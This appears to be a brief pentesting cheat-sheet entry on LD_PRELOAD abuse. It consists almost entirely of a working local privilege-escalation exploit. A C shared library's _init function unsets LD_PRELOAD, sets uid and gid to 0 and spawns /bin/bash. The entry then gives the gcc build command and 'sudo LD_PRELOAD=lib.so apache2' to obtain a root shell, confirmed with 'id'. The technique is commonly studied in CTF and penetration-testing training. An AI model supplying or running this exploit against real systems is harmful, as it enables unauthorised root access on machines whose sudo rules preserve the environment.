# LD_PRELOAD

* Preload libs and do interpositioning of functions.

## Example
```sh
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```
* `gcc -fPIC -shared -o lib.so lib.c -nostartfiles`
* `sudo LD_PRELOAD=lib.so apache2`
* `$ id`